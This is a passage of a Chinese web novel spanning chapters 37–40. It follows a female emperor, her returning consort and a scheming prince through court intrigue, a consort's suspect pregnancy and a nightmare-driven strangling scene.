裴若眼眸微眯:“无外乎两个人,要么是京城那个,要么就是西边的那个!若是京城那个还好办,心软无权,心中总还念着姐妹之情;就怕是西边那个……想做得利的渔翁。” 戴玥与主子同仇敌忾,紧握成拳,咬牙切齿:“卑职早就觉得西川王不安分!”她言此看向裴若:“那这朱秋华还杀不杀?” 裴若捏的手骨咯咯作响,数息静默,有了决断:“不必急于一时。南郡距京千里,道路泥泞,消息传回京城,再派人过来,怎么也要好几日。当务之急,还是要搞清楚怎么回事。你马上派人混入流民……” 话音未落,庭院外忽传来男子清冽之音:“流民便不必扮了,破你计划之人,正是本宫。” 主仆二人闻声齐齐望向院门,只见一男子身着月白锦袍,迈着闲庭信步般缓缓而来,姿态从容,仿佛在逛自家后院。即便面对裴若阴鸷的注视,他嘴角仍微微上扬,轻描淡写的说道:“前几日梦见了姬奇,他说想你了。本宫最喜成人之美,于是不远千里……” 陆长行敛起笑容,眸色瞬间变得阴冷:“替他见见你这个未亡人!” 第37章 第37章晋江文学城 清晨的微风带着一丝凉爽,吹的东窗外一排青竹摇曳,竹叶摩挲,沙沙作响。 杯中头茬的嫩茶在热水中缓缓舒展,茶汤清澈,淡淡清香。啜饮一口,唇齿留香。 裴若面色不悦,却仍要顾及王卿的体面,放下杯盏后看向男子。 多年不见,昔日那张扬不羁的少年,如今早已变得沉稳内敛。素喜半束的发式,而今却梳得格外规整,以白玉簪高冠,更显端方雅正,眉眼中亦多了几分岁月的沉淀与成熟。 “父仪天下的君后,不好好待在栖梧宫,竟不远千里跑来南陵赈灾?你就不怕身份暴露,被流民扯成碎片?” 裴若语气中带着几分冷嘲,言此,好整以暇的看着他。 毕竟从前的陆长行就像个炮仗,一点就着! 而今,陆长行侧倚凭几,姿态闲适的拨弄着腕上的银镯,倒显得比她这个南阳府的主人还要自在几分。闻言,面色竟无半点波澜,反 而讥讽道:“王卿好脾性,我坏了你这么大的事,你竟还有心情关心我的处境。” 裴若冷哼一声,心中虽满是愤怒与不甘,但事已至此,倒不如仔细权衡当下局势。她微微沉吟,语气稍缓:“你初入京城那两年,性子张扬狂野,结下不少梁子,好几次还是我替你解围。你我虽算不上朋友,倒也称不上敌人。时移世易,而今你我立场不同,你坏我好事,我也没什么好说的,要怪只怪我运道不及。” 陆长行微微一笑,柳叶般的眸底却是一片冰凉:“陛下把你从南戍郡调回,免你戍守边地之苦,赐你封地,予你尊称,享亲王之养,你还有什么不满足?竟联合那些蛀虫搞出这么一档子事!就不怕传出去给皇室蒙羞” 裴若目光直视男子,语气比目光更冷漠:“我是先帝的第二女,才智远胜于前太女,功绩亦是卓越,曾是众皇妹的表率。不过是一招行差踏错,就被母皇贬黜南戍。多年苦心经营,一朝倾覆,自此,京城的风波再无我的身影。你若是我,又如何甘心?” 陆长行瞥了她一眼,语气中带着几分不屑:“裴思暴戾愚钝,又因君后所生,性子不可一世,是个人都比她强,你才智胜过她有何可吹嘘的?” 裴若:“……” “除裴思外,你便是众皇女之长,做众皇女表率不是应当?”陆长行白了她一眼,继续说道:“贪墨朝廷税银你也不是头一次了,当年你与先盐铁使交往过密,为的不就是大肆敛财私下练兵?如此谋逆之举,你竟还敢说你只是一招行差踏错?掩过饰非,不知所谓!” 裴若眸色一沉,冷冷道:“多年不见,本王差点忘了星河世子这张嘴,跟开过刃似的!” 陆长行冷哼道:“谬赞!” 茶已温热,裴若举杯一饮而尽,重重放下茶盏,语气格外阴沉:“你今日来此,总不会就是为了嘲讽我几句吧?” 陆长行长吸一口气,缓下情绪,才从袖口抽出一本书扔到裴若面前。那书的封皮早已破败不堪,泛黄的油皮纸显得格外陈旧。 裴若有些嫌弃地取了出帕子垫着,小心翼翼地铺平书卷。封面上的“典制考”三字映入眼帘,她愈发不耐烦:“什么鬼东西?” 陆长行直截了当:“惊蛰前夕,贡院失火。火焰颜色奇异,与二十一年前文渊阁大火的颜色一致。当年这本书被一个吏员压在身下,因而未毁。我想知道,文渊阁那场火,你知道多少?为何那吏员宁死也要保下这份书卷!” 裴若沉吟片刻,似明白了什么,用他刚刚的语气呛他:“北境王死了好几年了,当年的军械案也证据确凿。你如今位居东宫,已是天下地位最尊崇的男子,还有什么不满足?人死如灯灭,就算找到证据翻案,你家人又不能复生,何必呢!” 陆长行拳头紧攥,声音微微发颤:“我娘是无辜的!” 裴若微微耸肩,语气中带着一丝冷漠:“时过境迁,谁还在乎。” 裴若见男子胸口起伏,知他情绪波动,便不再激他,只沉声道:“文渊阁沦为废墟时,我刚满五岁。虽已知事,但毕竟年幼,记忆难免模糊。我且说给你听,旁的你自行斟酌分辨。” 她眉宇微蹙,眼眸涣散,似在思及过往:“此事要追溯到三朝前。传闻皇祖母年轻时深爱常家郎,奈何那时的常家不过小门小户。为了让最爱的男子与自己比肩,皇祖母大力扶持常家,甚至为储君的母皇择的夫婿都是常氏嫡出。皇祖母驾崩后,常家势大,竟隐约有凌驾于皇权之势。所以初登大宝的那几年,母皇极为憋屈。为了分散常家势力,母皇提议弱化世家袭爵制,改革科举制。结果,就有了文渊阁那场不了了之的大火。” 室中静默良久,微风吹入窗棂,轻抚过脸颊,带来一丝凉意,却也吹散了凝重的气氛。 男子目光深邃,久久方才找回自己的声音:“我知道了。” 陆长行心中所求已然明了,多留无益,当即起身:“来的突然,未曾有什么准备,索性替你的相好送来一句问候:瞿辰很想你,并祝你岁岁常安。” 言罢,他转身便欲离去,却闻身后裴若疑惑出声:“谁是瞿辰?” 陆长行身形微僵,脚步停在原地良久,才缓缓转过身来,一脸嫌恶地看着她:“多年不见,你果然还是那个四处留情又不认账的混蛋!” 裴若被他这突如其来的指责弄得莫名其妙,心中也生出几分恼意,冷声道:“我和你说过多少次,姬奇的死与我毫无干系,他自寻短见,与我何干?” 陆长行静默数息,原本有很多话要说,但思及裴若的性情,终究觉得无甚意义,只是冷冷道:“与你这般冷血无情之人,实在无话可说,告辞!” 陆长行来得突然,去得也干脆。戴玥虽心怀愤慨,但没有主子的命令,也不敢贸然阻拦,只能眼睁睁地看着他登上街边的马车,扬长而去。 “王卿,”戴玥快步跑回前厅,急切问道:“朱秋华还杀吗?” 裴若放下茶盏,相比清晨时的烦躁,此时情绪已然平复,语气淡漠道:“一张嘴吃三家饭,轮不到本王动手,她自己就先撑死了。” “三家饭?” 戴玥一脸困惑,满心不解。 可见裴若颔首凝视着手中的茶盏,似陷入了沉思。便知自己若再追问便是不识趣,于是悄然退下。 两日后,南陵暴乱的消息终于传入了京城。 所幸,预料中的疫情并未发生,南陵私藏的粮仓解了灾民的燃眉之急。得知流民无家可归,凤帝从私库中挪出二十万两白银,命三司官吏亲自送往南陵,供流民安置新居,同时追查南陵灾洪的始末。 朝会散去,裴源赶回凝辉殿时,南阳王的请罪折子早已稳稳地躺在案牍之上。 乌宛白奉茶而入,裴源正“欣赏”着南阳王的请罪奏折,读到动情处,眼中竟泛出了泪光。 “从前竟不知,朕这二皇姐文采斐然。”裴源打趣着饮了一口茶,随手将奏折扔给了乌宛白。 这本不合规矩,乌宛白犹豫着未曾翻阅,听凤帝道:“让你看你就看!犹豫什么?” 乌宛白缓缓展开奏折,细细阅览。通读之后,斟酌着说道:“奴婢瞧着……南阳王此番上折,似有回京之意。” 裴源微微一笑,语气中带着几分调侃:“她本就有回京之心,只是回京的路数,从朕大张旗鼓地迎她归来,改成了她入京请罪罢了。” 乌宛白微微蹙眉,反问道:“陛下准吗?” “为何不准?”裴源放下茶盏,轻轻摩挲着指间的黑玉扳指,语气笃定:“归根结底,皆为权谋。与其让权柄旁落他人之手,不如握在亲姐姐手中。只是这皇室的名声,不能沦为天下人笑柄。她若回京,必须名正言顺;但朕也得敲打她,免得她得意忘形。所以如何召她回京,回京后授她何官,还需朕细细思量。” 乌宛白沉默片刻,将奏折合拢放置于案牍之上,语气平和道:“既然南阳王才情了得,陛下何不将‘成就’帷帽诗仙的重任交到她的手里?” 裴源眉梢微挑,稍一思量后,看向乌宛白的目光略带赞赏。 乌宛白似受鼓舞,微微一笑,继续道:“南阳王毕竟是亲王之身,陛下大可以予她一个崇高的虚衔,这样既保全了皇家的颜面,也方便她携‘诗仙’之名,替陛下效力。” “你呀!”裴源长叹一声道:“难怪历来九千岁权柄滔天,哄圣人的能耐的确让人心悦诚服!” 乌宛白不知什么是九千岁,以为凤帝此言似有敲打之意,当即俯身跪拜,恭敬道:“奴婢不敢妄求九千岁,唯愿比陛下早逝一日,得以先行赴仙界铺路,熟悉诸般庶务,以免仙娥不识陛下,侍奉稍有不周。” 裴源:“…………” 裴源愣愣地看着她,语气中带着一丝无奈:“都成仙了,你还伺候朕?” 乌宛白正色道:“奴婢卑贱之躯,何以升天?还不是借了陛下的光!奴婢生是陛下的人,死是……” 裴源无奈地扶额,打断她道:“你快闭嘴吧!越说越离谱。” 乌宛白微笑应是,起身见茶盏已空,便匆匆命人奉上新茶。茶杯刚递到凤帝手中时,宫侍一路小跑,喘着粗气而来。 “陛下!” 裴源瞥了眼来人,瞧着眼熟,却叫不上名字。 乌宛白道:“陛下,来者皮青,是秋侍君身边伺候的。” 秋侍君?原来是秋康时。 桃花酥做的巨巨巨难吃的那一位,裴源当下没了兴致,颔首啜饮着香茗。 乌宛白见状,转头冷冷瞥向皮青,斥道:“成何体统?凝辉殿前喧哗,全无规矩!” 皮青忙不迭地磕了个头请罪。可抬起头后,确实满面喜色,迫不及待道:“恭喜陛下,贺喜陛下!” 他性子急,根本等不及凤帝发问,便高声宣布:“秋侍君连日来恶心犯困,招来太医一瞧,竟已怀有两个月身孕!” “噗——” 裴源刚饮下的一口热茶瞬间喷涌而出,尽数洒在案牍之上,奏折被溅得一片狼藉。 乌宛白更是目瞪口呆,愣在原地半晌后,顿时眉开眼笑,语无伦次道:“恭喜陛下,您喜当娘了~” 第38章 第38章晋江文学城 去往玉缡宫的路上,裴源心绪复杂。 隐约听到抽泣声,颔首一看,御撵下疾步走的乌宛白喜极而泣,老泪纵横。 一时搞不清谁才是孩子娘的裴源:“……” 各宫君消息都很敏锐,一有风吹草动,齐齐赶至,围着秋康时嘘寒问暖,还是宫侍的一句‘陛下至’,引来所有人的注目。 众君收敛心情,齐齐跪地请安。可跨入玉缡宫的凤帝却径直走向为首的男子,躬身亲扶他道:“有了身子就莫行礼了,以免动了胎气。” 秋康时小心抬首,双颊泛红的脸比夕阳余晖还要醒目。裴源没忍住,伸手轻轻搓了一下他的脸颊,粉腻腻的,忍不住叮嘱道:“跟猴屁股一样难看,往后莫扑了,对孩子不好。” 秋康时:“……” 秋康时借力起身,心中原本准备了许多话,可凤帝一句话下来,热情瞬间消散。 媚眼抛给瞎子看,说了也是白说。 众君亦得令起身,面上笑着,恭喜了裴源后又开始了窃窃私语,室内一时无比嘈杂,裴源自觉屏蔽了诸君的话,坐下后,凤眸有意无意地往秋康时的肚子上瞄。 生儿育女本是女子之责,可女子又是主要劳动力,既要赚钱养家,又要操心生产,实在有违人性。就在此时,神医天降,几幅药剂下去,自此,男子生儿育女成了寻常。 即便裴源稳如老狗,可初闻此事时还是不禁咂舌。果然,人类对身体机能的开发,只有想不到,没有做不到。 郭嘉安对秋康时孕女一事似乎并无太多反应,只冷不丁开口:“君后身子抱恙已久,每日闭门不出也就罢了,如今后君有了喜事都未露面,看来病得不轻。” 诸君纷纷将目光投过去,宸贵君一如往昔般穿着明艳,眉心火苗状的红钿更似汹汹烈焰,妖冶动人。虽坐在凤帝下首,可挺直的背脊却如高傲的孔雀,竟比凤帝还要惹眼。 此言大不敬,诸君不敢应话。 凤帝宠爱宸贵君,即便此言不妥,她的神色亦显得十分平常,只将视线从秋康时的肚子默默转向郭嘉安的脸。 郭嘉安与陆长行好似冥冥之中的冤家,每次相见总要分说几句。裴源搞不清个中原委,只轻轻摩挲着黑玉扳指,语气不痛不痒:“不准非议君后。” 郭嘉安轻哼一声,语气中带着几分不满:“怎么就非议了?臣也是关心君后身体。如他这般每日闭门不出,没病也憋出病了。” 裴源眉梢微挑,正要开口,却瞥见一道月白身影阔步而来,便敛起情绪,姿态闲适地静观其变。 陆长行尚未踏入殿门,声音却先一步传入殿中:“若早知宸贵君如此关切本宫,栖梧宫门紧闭前,就该单独召贵君前来侍疾。” 诸君闻声而望,郭嘉安亦转头看去。半月不见,君后全无病态,体健如初。纵然身着淡雅的月白锦袍,可举手投足间的气势,更胜从前。 郭嘉安不情不愿地起身,跟着诸君行礼。陆长行的一双柳叶眸却略过众人,目光含蓄地落在凤帝身上,屈身恭敬道:“陛下。” 裴源侧倚着托腮而坐,目光闲适地将陆长行从头打量到脚。他没晒黑,也没受伤,只是那双手似乎糙了几分。 依着裴源的心思,本该晾着他不予理会,可诸君都在场,不宜任性,于是放在膝上的手指轻轻一抬:“朕记得君后略通医术,去给秋侍君瞧瞧,胎像可稳固?” 陆长行起身应道:“是。” 秋康时则娇柔颔首,婉拒道:“陛下,君后千金之躯,臣岂敢劳烦?请陛下来前,臣已命两位太医瞧过,太医皆说,胎像稳固,孩儿康健。” 裴源淡淡道:“朕听闻,胎儿前三个月最是不稳,这才劳烦君后给你瞧瞧。结果你还不领情。” 秋康时面色一僵,忙开口解释:“臣只是……只是……” “罢了~”裴源打断他道:“你也是要做父亲的人了,想必自有主张,朕不过问便是了。” 裴源沉吟片刻,仔细斟酌,再开口时,每一个字似乎都带着分量:“秋侍君孕女有功,朕心甚慰,晋封为卿君,赐玉如意一对,寓意吉祥,以慰卿君孕女之苦。” 殿内静默片刻,回过神的众君急忙道喜:“恭喜秋卿君。” 秋康时更是满脸喜色,跪地叩恩:“谢陛下。” 裴源忙起身亲扶他道:“不是叮嘱你了,莫跪。万万仔细安胎,八个月后,朕另有恩赏。” 秋康时笑容微僵,尚未来得及多言,就见凤帝转过身与君后交代:“这是朕的第一个孩子,朕不希望她有任何闪失,还望君后仔细照看。” 立夏方过,气温陡然升高,暑气渐起。才至午时,裴源便觉得心烦意乱,饭菜难以下咽。窗外,破土而出的蝉争先鸣叫,聒噪声此起彼伏,搅得人心神不宁。 纵然冰盆融化送来一丝凉意,裴源仍觉燥热难耐。她退下外衣,又将里衣紧扣的领口扯开,这才觉得呼吸顺畅了些。 案牍上,一摞奏折终于见了底,可乌宛白却将另一摞小山高的奏折推到了跟前。裴源烦闷地扔下笔,愤愤道:“都说废话都不要上报了,但这折子就是不见少。等哪一日朕气急,就下令把这些喜欢浪费笔墨的大臣都杀了!” 乌宛白:“……” 正准备让徒弟奉上凉茶,甫一转身,乌宛白的目光便落在了君后的身影上。 凤帝亦已察觉,却装作视而不见,将扔在桌案上的笔重新提起,坐得端端正正,继续批阅起奏折。太过专注,连君后的请安声都未曾听到。 陆长行也不为难自己,径自起身行至案牍左右,俯下身拉扯她的衣袍:“陛下~半月不见,你都不想臣吗?” 裴源看都不看他一眼,没好气道:“乌尚宫,请将朕半月之前在此立下的毒誓,一字不落的转告给某人!” 乌宛白尴尬极了,默默转动着浮尘的手柄,干笑着:“这……呵呵呵。” 她的笑声憨厚,可裴源却听出了几分嘲讽意味,于是不善地白了她一眼。 陆长行见势,又扯了扯她的衣角,语气中带着几分委屈:“臣想念陛下的紧,一路急着回来,腿都伤了,陛下忍心让臣这么跪着吗?” 凤帝微有动容,不过自己立下的毒誓绝不可破,故而挪了挪屁股,让出个位置出来。 乌宛白见状,哪里还敢多留,忙躬身退下,临了还不忘关上了殿门。 蝉鸣声似乎瞬间敛去几分,殿门紧闭,隔绝了外面的阳光。暗下的瞬间,仿佛连燥热也被全部带走,裴源心底积压的烦闷好像顷刻间就消散了。于是待陆长行刚一落座,便如饿狼扑食般禁锢住陆长行的双腕,将他压在身下,肆意索取。 陆长行只在短暂的愣怔之后,便放软了身躯,任由她予取予求。 不消片刻,唇瓣已然炙热如火,呼吸渐渐沉重。女子的攻势渐渐弱了下来,禁锢着他手腕的手缓缓上移,摩挲间,触 碰到了男子掌心的伤口。 滋养蛊籽的伤口原本已经结痂,然而连日策马,手握缰绳,痂落伤口扩散。女子一经碰触,掌心的痛意瞬间牵连十指,最后,痛到每个指尖都在痉挛打颤。 裴源似有所觉,松开了手,将头枕在了男子的颈窝。 陆长行心中顿时如飘满了柳絮的草原,柔软而杂乱无章,所以轻轻环住双臂将女子拥在怀里。轻声说道:“陛下别生气了,好不好?” 裴源冷哼一声:“亲了你,与生你气是不相矛盾的,所以,你下次来,朕还是不理你!” 陆长行只觉哭笑不得:“陛下都是要当娘的人了,怎么还这般孩子气?” 裴源微微蹙眉,起身打量他的眉眼,柳叶眸缱绻还带着笑意,原本平复的心瞬间又烦躁起来:“君后倒是贤惠大度,旁人怀了朕的孩子,你开心的跟个什么似的!” 陆长行:“……” 见她再次负气提笔批阅奏折,陆长行马上宽慰道:“臣与陛下心意相通,焉能看不出秋康时心虚之举?所以秋卿君怀有身孕的消息,臣已派人告知了凤武将军,往后这皇宫防守,秋将军必会十分卖力。臣若想钻狗洞外出怕是再不能了,这对陛下来说,难道不是好事吗?” 裴源写了个阅,将奏折一合随意扔到了一旁:“皇权旁落朕就够窝囊了,而今头上又顶着一片青青草原,凤帝做到朕这个程度,也算是前无古人后无来者了。” 陆长行将奏折规整整齐,闻言眸色一沉:“臣回京前曾与南陵刺史深度交谈了一番,南阳王虽有介入,皆因南陵刺史主动投诚。能闹出这么大的风波,每一步都需仔细斟酌,臣观南陵刺史似没那个脑子,这幕后必定有高人指点。” 他话音停顿,见裴源眉宇微蹙,似在思量什么。于是默了默后,又道:“而今朝局文臣各自为政,乱如散沙;而武将的缔结却稳如磐石,容不得半点介入。统军统辖禁军,禁军又是陛下近卫,若是她们生出旁的心思,臣心中实在惶恐。” 裴源静默数息,开口道:“苍天大树往往根基甚稳,外力若不能动摇,就只能祈祷它从内里腐败了。” 陆长行不置可否:“孩子的来路不重要,想办法将消息传入秋将军的耳中,她必会担心此事败露,从而想尽办法替秋康时料理后事;除去奸妇后,又会因蒙蔽了陛下而自满,自满愈重则会自负。一旦对自己的力量盲目,便会失了分寸。届时,陛下给她当头一棒,还担心她不为陛下所用吗?” “陆长行!” “嗯?” 裴源扔了笔,看着他气势汹汹:“话都让你说了,朕说什么?” 陆长行:“……” 第39章 第39章晋江文学城 数日不见,凤帝愈发娇气,像个没长大的小姑娘。 陆长行没有一句辩解,急忙抬手:“臣错了。” 掌心的伤恰展露在裴源面前,皮肉挫伤,实在骇人。裴源抿了抿唇,将气话全部咽下,瞥开脸继续批阅奏折,装作毫不在意:“伤那么厉害也不处理一下。” 陆长行眉梢微挑,随意看了眼掌心的伤,轻描淡写道:“臣才一回宫,便听闻了玉缡宫的消息,匆匆换了衣裳便赶去了。适才仔细嘱咐了秋康时,又叫来了御膳房和内秩署的尚宫,安排在玉缡宫开小灶诸事。刚闲下来就巴巴给陛下请安。陛下爱干净臣是知道的,哪里敢露伤口污陛下青眼,不是没得空嘛。” 裴源提着的笔久未落下,任由内心情绪翻涌,可面上表情依旧平静,无一丝情绪显露。待落笔之时,声音也缓缓飘出:“未抽空翻阅过朕的起居注?” 陆长行一怔,静默几息,才斟酌道:“后君怀女这般大的事,臣自要寻凌尚宫确认一二。” 裴源轻“嗯”一声,语气淡漠又道:“监办处离你的洗梧宫也有段距离。遣人去、等人来,也有会儿功夫,得闲儿不上药,心思全用在胡思乱想上了吧?” 陆长行低垂的眼睫微颤,良久,柳叶眸才缓缓抬起,落在小凤帝的面颊上。女子情绪从容,眼眸飞速在奏折上流转,仿佛刚刚的话只是随口之言。 似察觉了陆长行的注视,裴源淡淡又道:“朕虽失去了记忆,不代表没有判断。秋康时的桃花酥做得很难吃,入宫三载,厨艺毫无精进,显然未将心思用在朕的身上。他容貌身段不及韩柏,善察言观不及柳玉书,就连撒娇的样子都不及郭嘉安用心讨喜。朕很难说服自己,曾与他一夜缠绵欢好。” 陆长行颔首,抠着掌心的血痂,情绪低沉:“陛下无需向臣解释什么。陛下是帝王,枕畔间侧卧百君本属寻常,诸君为陛下绵延子嗣乃职责所在。臣为君后,本该常劝陛下平分雨露,宠及六宫。然臣……臣心悭吝,此乃臣失职之处,陛下不责备臣已属宽宥,臣不敢过多奢求。” 凤帝紧握着朱笔的手慢慢紧攥,她本想说些什么,可身处当前立场,感觉一切话语都显得十分扯淡。 彼时,殿门传来厚重的叩击声,几息后,乌宛白推门而入:“陛下,文侧君求见。” 陆长行眸色稍显暗淡,起身退至案牍一侧,声音沉闷道:“臣一路奔波,实在疲乏。若陛下无事,容臣告退。” 裴源并未抬首,只淡淡道:“去吧。” 月白身影缓步退下,行得远了,凤帝才抬眼凝望着他的背影。长身玉立的端雅君子,宛若初春树尖上绽放的玉兰,本该傲立枝头,怎么就跌落进了这四方围城里? 陆长行对凤眸的注视浑然不觉,跨出殿门时,恰与柳玉书打了个照面。少年微微颔首,行了一礼,见君后将目光落在他手中的食盒,轻声解释道:“陛下怕热,故而臣做了解暑的茶粥。” 陆长行微微颔首,语气平和:“陛下脾胃患有隐疾,因而夏燥。凉食虽可暂解燥热,但多食之后,恐寒湿内生,有碍气血生成。所以,陛下宜少食凉物,以免寒凉之气阻遏阳气,加重脾胃损伤。” 柳玉书闻言一愣,一时之间,竟不知该进还是该退。 陆长行见状,又道:“少食无妨,文侧君不必惶恐。本宫只是提醒一句,文侧君心中有数便好。” 柳玉书这才松了口气,躬身道:“多谢君后指点,臣知道了。” 见君后侧身让路,柳玉书缓步而入,身后的殿门悄然阖上。陆长行才回首凝望片刻,低语问道:“文侧君近日常来吗?” 乌宛白微微颔首,道:“较之以往,近日的确频繁许多。”她默了默,又道:“柳博士近来也是凝辉殿的常客。” 君后前脚刚走,柳文澜便匆匆来到了凝辉殿外。 乌宛白暗忖,人不禁念叨。 为了能让兜帽诗仙早日踏入太学府的高堂,老人家几乎要将嘴皮子磨破了。 而今裴源见了她,只觉一个头两个大。入殿后,不等她开口,裴源便将面前的茶粥递了过去:“天热,文博士先用些凉的,败败燥气。” 柳文澜哪有心思吃,一心只想着如何壮大晟文脉。她随意掏出帕子,擦了擦额上的汗珠,正色道:“陛下,如今帷帽诗仙的诗词已在京城广为传阅,臣……” 裴源摆了摆手:“柳博士不必多言,朕准了。” 柳文澜脸色微沉,仍道:“陛下,帷帽诗仙的诗句读之激昂,闻之生志,实乃我朝之幸。怎可因他是男子之身,便加以阻挠?” 裴源默默扶额:“……” 眼见柳文澜继续喋喋不休,柳玉书忙在旁小声提点:“娘,陛下准了。” “你闭嘴!”柳文澜斥道:“这哪有你说话的份?” 柳玉书:“……” 柳文澜凝视着凤帝,正欲再次劝说,忽而眸色一凛,愣了半晌,才带着一丝不可置信的语气开口:“陛、陛下,您刚刚说……准了?” 裴源微微颔首,步下高台,亲自扶她进了内殿,语气无比亲和:“朕亦钦佩帷帽诗仙的豪情壮志,奈何齐翁她老人家固执,朕左右为难。辛而今日南阳王上书,言及民间传闻:南陵郡此 次灾情陡然有了转圜之际,皆因文昌帝君神迹一现,朕心大为震撼。故此,朕欲命南阳王为护仙使者,召其入京,一路歌颂诗仙神迹功德。往后,凡需诗仙出场之处,皆由南阳王代劳。如此,既免了齐翁担忧男子干政的顾忌,也能让诗仙免受凡尘俗事的叨扰。文博士以为如何?” 柳文澜心中顿时生出波涛骇浪,久久不能平息,却还是努力压下心头的震撼沉吟良久,开口依旧难掩心头激动,甚至隐隐有了哽咽声:“陛下思虑周全,甚好,甚好。” 裴源问:“那这请帷帽诗仙出山的重任就交给文博士,可好?” 柳文澜一愣,回神后恭敬一拜:“臣,荣幸之至!” 时至未时,终于送走了柳家母子,一盏凉茶下腹,嗓子的干哑终得缓解,可看到案牍上那一摞子不知所云的奏折,裴源只觉得身心俱疲,大臣一个月还能休息三日,可帝王却全年无休想,实在是很不公平。于是召来乌宛白道:“去内秩署寻个会雕字的人来。” 乌宛白下意识瞥了眼案牍上的奏折,瞬间了悟。退下后不久,便带了个宫侍回来。 “陛下,”乌宛白耳语汇报此人的来路:“此人名唤庚坛,入宫一年之久。祖母雕字之技堪称一绝,曾效力礼部,为雕版匠人。其母早逝,只留下这么一个孙辈,可惜是个男子,虽不能以技谋生,却将祖母的绝技学了七八成。” 裴源居高俯视殿中跪拜之人,庚坛生的清瘦,蜷缩在地跪成一团,像极了遇见天敌害怕到瑟瑟发抖的鹌鹑。 “抬起头来。” 凤帝声音冷漠入耳,庚坛闻声吓的一抖,慢吞吞的抬起身,可眼眸低垂,半分不敢直视圣颜。 裴源仔细端详他良久,男子不过十六七的模样,五官清隽,奈何实在清瘦,脸颊几乎无肉,不由蹙眉道:“平日吃不饱饭吗?” 庚坛不解其意,但下意识否认:“吃的……回陛下话,奴才吃的饱。” 裴源眸色微深:“瘦成这样,胆子还这么小,俨然平日里深受苛待。” 乌宛白瞧出凤帝有些不悦,急忙道:“陛下放心,奴婢待会儿就去好好敲打敲打常傲玉。” 裴源听出弦外之音:“常傲玉?” 乌宛白沉默几息:“此人,是德君那边的亲戚。” 裴源眉头紧锁:“庄与之?” 乌宛白颔首不语,算是默认。 庄与之性情跋扈,其母未见得多有建树,不过其父身份贵重,皇室中人,大皇子长殿下,裴源该唤他一声舅父。 驸配庄绿夏在禁军当差,担任禁军司礼,地位较高,但没什么实权。 裴源紧扣拇指,黑玉扳指将指腹勒的泛白:“你暗中调查清楚,若真有拜高踩低,仗自身背景胡作非为、欺辱他人之举。” 她静默几息,重重叩击案牍三声,开口无比阴沉:“不留!” 案牍下跪地的庚坛吓了一缩,可低垂的眼眸却渐生雾气,伏地的双手更是慢慢紧攥成拳,心中满是大仇终得报的痛快。 裴源并未注意一个小宫侍的举止,将早就准备好的拓纸拿给他,指了下不远处的小桌案:“木刀已备好,去吧。” 庚坛恭敬接在手里,坐下后方才认真看起来拓纸所书,无外乎是“朕阅之”“朕已知”“准奏”“依奏”等并无意义的题字。 手握起刻刀的那一刻,庚坛眉宇间透出几分凌厉,仿佛瞬间变了一个人,毫无刚刚跪地时的怯懦与胆怯。木头在刻刀的雕琢下,很快初具雏形。夕阳刚埋入云层,第一个印章便刻好了。 呈给裴源时,她只是扫了一眼,便沾了墨拓印在奏折上。看着与自己笔书一般无二的印字,她嘴角不禁勾起一丝笑意:“内秩署不必回了,往后你便留在凝辉殿当差。” 庚坛一愣,回过神来,扑通跪地:“奴才谢陛下恩典!” 裴源:“……” 一惊一乍的,吓她一跳! 裴源拍了拍胸口,而后心有余悸的看着他膝盖下的那方砖石,还好,没裂~ 第40章 第40章晋江文学城 四日的路程,被陆长行硬生生压缩至两日半。终于见到了挂念之人,心中再无半点挂碍。洗去一身疲惫,热气蒸腾间,困乏如潮水涌来。头刚一沾到枕头,便阖眼睡去。 但思绪似乎还停留在回程路上,因而画面不断。 策马奔腾,尘土飞扬,恍惚间,仿佛又回到了几年前南下的路上。 那日,他无意间闯入了一片诡异的丛林,浓雾悄然升起,空气里响起奇怪的虫鸣。马儿自此受了惊,完全脱离了他的掌控,惊慌失措的开始狂奔。 他试图勒住缰绳却徒劳无功。最终,他一头撞上了凸起的树杈,眼前一黑,晕死过去。 醒来时,自己身处一间破旧的木屋。昏暗的光线里,墙上悬挂的各类动物尸骸,森森白骨,皮毛破败,格外恐怖诡异,令人不寒而栗。他惊慌坐起,却听到一阵铁链的窸窣声。 低头一看,手腕粗的铁链,自脚腕延伸至地面凸起的铁栓。 他被人囚禁了。 囚禁他的是一群身着奇装异服的少女,她们说着他听不懂的话向他靠近,手持锋利的刀具。他挣扎着想要反抗,却被她们轻易控制住。而后利落的割开他的手腕,只为获得他的鲜血。 伤口刚刚愈合,又会重新上演。自此,他变成了一个供血的囚徒。 为了让他的伤好的快些,总有女子趁他熟睡时,为他的伤口上药。 陆长行忍无可忍,终于抓准时机,猛地起身骑在女子身上,狠狠扼住了她的喉咙。 完全状况之外的裴源:“……” 裴源初时并未当回事,以为他只是噩梦惊厥,只要醒来就会无碍。可不过片刻便察觉出了不对劲。因为男子交缠的手掌带着狠厉,似要扭断她的脖子。 双手被陆长行压在身下,裴源挣扎不了,叫喊不出,短短数息,她就看到了驾崩的先帝。 先帝双手环胸,冷眼旁观了一阵,后啧啧摇头,嘲讽拉满。 裴源:“……” 如何获救的裴源一概不知,只知先帝的身影散成一团雾后,眼前出现了几张惊慌失措的脸。 时至子时,栖梧宫内殿不知何时燃起了蜡烛,昏黄的烛光将殿内一切映照的影影绰绰。 陆长行跪坐在女子身畔,眼眸中满是慌乱无措,心中愧疚心疼的无以复加。 他不知自己该做些什么,想要扶她起身,却不敢再去触碰她的身体。只能双眼泛红地望着她,颤抖的重复那三个字:“我错了、我错了、我错了……” 乌宛白吓的面色惨白,直至凤帝面容恢复血色,才小心将其扶起:“陛下,您还好吗?” 裴源表示不太好,看着陆长行严重全是恐惧,几乎是连滚带爬的跑回了紫宸殿。 翌日,凤帝凤体欠安的消息传至前朝与后宫,一如往昔,紫宸殿宫门紧闭。本该前来侍疾的君后亦身子欠安,久未露面,反倒是素来狂傲的德君不顾乌宛白的阻拦,径直横冲进了紫宸殿。 彼时,凤帝端坐方台批阅奏折,看上去身无异样,康健如常。面对突然闯入的庄与之,更无半分波澜,只是静静的看着气焰汹汹的庄与之。 庄与之不知凤帝又在搞什么名堂,虚行一礼,开口质问:“听闻陛下受了宫侍蛊惑,命人将常尚宫压入了肃刑司?” 裴源眉梢微挑,而后单手托腮,好整以暇地看着来人,似在回应:是又如何? 庄与之的丹凤眼瞬时透出几分凌厉,双拳紧握,愤愤道:“常尚宫忠心耿耿,兢兢业业,臣实在好奇那宫侍生得怎样一张勾人面,竟让不解风情的陛下为他做出如此荒唐事?问都不问一句,便对常尚宫下了如此重罚!” 裴源嗓子疼痛,无法出声,干脆沉默到底,指尖轻点桌案,静静端看来人。 从前,无论他如何跋扈嚣张,凤帝总会念着父亲的身份,让着自己。可今日,她却只字不语,凤眸平静如水,没有半点波澜。 